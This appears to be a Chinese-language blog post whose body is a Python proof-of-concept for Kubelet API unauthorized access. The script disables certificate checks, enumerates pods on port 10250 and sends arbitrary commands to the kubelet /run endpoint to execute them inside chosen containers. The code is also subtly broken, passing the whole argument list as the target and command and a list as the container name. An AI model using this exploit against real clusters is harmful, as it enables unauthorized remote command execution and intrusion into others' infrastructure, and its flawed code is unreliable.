Kubelet API 未授权访问漏洞poc

import requests
import json
import sys
import urllib3

# 禁用SSL警告,因为Kubelet通常使用自签名证书
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

class KubeletExploit:
    def __init__(self, target_ip, port=10250):
        self.target_ip = target_ip
        self.port = port
        self.base_url = f"https://{target_ip}:{port}"
        self.session = requests.Session()
        self.session.verify = False  # 忽略证书验证

    def check_vulnerability(self):
        """
        检查目标是否存在未授权访问漏洞
        """
        try:
            # 尝试访问 /pods 接口,这是常见的检测点
            url = f"{self.base_url}/pods"
            response = self.session.get(url, timeout=10)
            
            if response.status_code == 200:
                try:
                    data = response.json()
                    if "items" in data:
                        print(f"[+] 目标 {self.target_ip} 可能存在未授权访问漏洞!")
                        print(f"[+] 状态码: {response.status_code}")
                        print(f"[+] 发现 Pod 数量: {len(data['items'])}")
                        return True
                except json.JSONDecodeError:
                    pass
            
            # 如果 /pods 返回 401 或 403,可能已修复或需要认证
            if response.status_code in [401, 403]:
                print(f"[-] 目标 {self.target_ip} 需要认证,漏洞可能已修复。")
                return False
                
            print(f"[-] 目标 {self.target_ip} 响应异常,状态码: {response.status_code}")
            return False

        except requests.exceptions.RequestException as e:
            print(f"[-] 连接失败: {e}")
            return False

    def list_pods(self):
        """
        列出节点上运行的所有 Pod
        """
        try:
            url = f"{self.base_url}/pods"
            response = self.session.get(url, timeout=10)
            if response.status_code == 200:
                data = response.json()
                pods = []
                for item in data.get("items", []):
                    metadata = item.get("metadata", {})
                    spec = item.get("spec", {})
                    pod_name = metadata.get("name", "N/A")
                    namespace = metadata.get("namespace", "N/A")
                    containers = [c["name"] for c in spec.get("containers", [])]
                    pods.append({
                        "name": pod_name,
                        "namespace": namespace,
                        "containers": containers
                    })
                return pods
            else:
                print(f"[-] 获取 Pod 列表失败,状态码: {response.status_code}")
                return []
        except Exception as e:
            print(f"[-] 错误: {e}")
            return []

    def exec_command(self, namespace, pod_name, container_name, command):
        """
        在指定容器中执行命令
        API 端点: /run/{namespace}/{pod}/{container}
        """
        try:
            url = f"{self.base_url}/run/{namespace}/{pod_name}/{container_name}"
            payload = {
                "cmd": command
            }
            # Kubelet run 接口通常接受 POST 请求,参数在 body 中
            response = self.session.post(url, data=payload, timeout=10)
            
            if response.status_code == 200:
                print(f"[+] 命令执行成功:")
                print(response.text)
                return response.text
            else:
                print(f"[-] 命令执行失败,状态码: {response.status_code}")
                print(f"[-] 响应内容: {response.text}")
                return None
        except Exception as e:
            print(f"[-] 执行命令时出错: {e}")
            return None

def main():
    if len(sys.argv) < 2:
        print("用法: python kubelet_poc.py <target_ip> [command]")
        print("示例:")
        print("  python kubelet_poc.py 192.168.1.100          # 检测漏洞并列出Pod")
        print("  python kubelet_poc.py 192.168.1.100 'whoami' # 执行命令 (需交互选择Pod)")
        sys.exit(1)

    target_ip = sys.argv
    exploit = KubeletExploit(target_ip)

    print(f"[*] 正在检测目标: {target_ip}")
    
    if not exploit.check_vulnerability():
        sys.exit(0)

    print("\n[*] 获取 Pod 列表...")
    pods = exploit.list_pods()
    
    if not pods:
        print("[-] 未找到任何 Pod 或获取失败。")
        sys.exit(0)

    print(f"\n[+] 找到 {len(pods)} 个 Pod:")
    for i, pod in enumerate(pods):
        print(f"  {i+1}. Namespace: {pod['namespace']}, Name: {pod['name']}, Containers: {', '.join(pod['containers'])}")

    if len(sys.argv) > 2:
        command = sys.argv
        print(f"\n[*] 请选择一个 Pod 进行命令执行 (输入序号):")
        try:
            choice = int(input("> ")) - 1
            if 0 <= choice < len(pods):
                selected_pod = pods[choice]
                namespace = selected_pod['namespace']
                pod_name = selected_pod['name']
                # 默认选择第一个容器
                container_name = selected_pod['containers'] if selected_pod['containers'] else ""
                
                if not container_name:
                    print("[-] 该 Pod 没有容器信息。")
                    sys.exit(1)

                print(f"[*] 在 Pod '{pod_name}' (Container: '{container_name}') 中执行命令: '{command}'")
                exploit.exec_command(namespace, pod_name, container_name, command)
            else:
                print("[-] 无效的选择。")
        except ValueError:
            print("[-] 请输入有效的数字。")
    else:
        print("\n[*] 未提供命令,仅进行信息收集。")

if __name__ == "__main__":
    main()

  

posted @ 2026-08-19 18:04  LalaTina  阅读(9)  评论(0)    收藏  举报